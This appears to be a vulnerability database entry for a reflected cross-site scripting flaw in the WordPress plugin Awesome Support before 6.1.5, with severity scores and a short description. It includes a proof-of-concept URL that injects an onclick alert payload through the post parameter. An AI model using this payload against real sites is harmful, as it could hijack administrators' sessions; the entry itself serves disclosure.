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wpvulndbAlex SanfordWPVDB-ID:AA380524-031D-4E49-9D0B-96E62D54557F
HistoryOct 16, 2023 - 12:00 a.m.

Awesome Support < 6.1.5 - Reflected Cross-Site Scripting

2023-10-1600:00:00
Alex Sanford
wpscan.com
4
plugin security vulnerability
reflected cross-site scripting
admin user risk
web application security

5.1 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.0%

Description The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

PoC

Visit the following URL as an admin user, with any valid ticket ID. Press the access key combination to trigger XSS (e.g. Ctrl+Alt+X on Firefox on MacOS). https://example.com/wp-admin/post.php?post=TICKET_ID"+accessKey%3DX+onclick%3Dalert(%2Fxss%2F)+"&amp;action;=edit

CPENameOperatorVersion
eq6.1.5

5.1 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.0%

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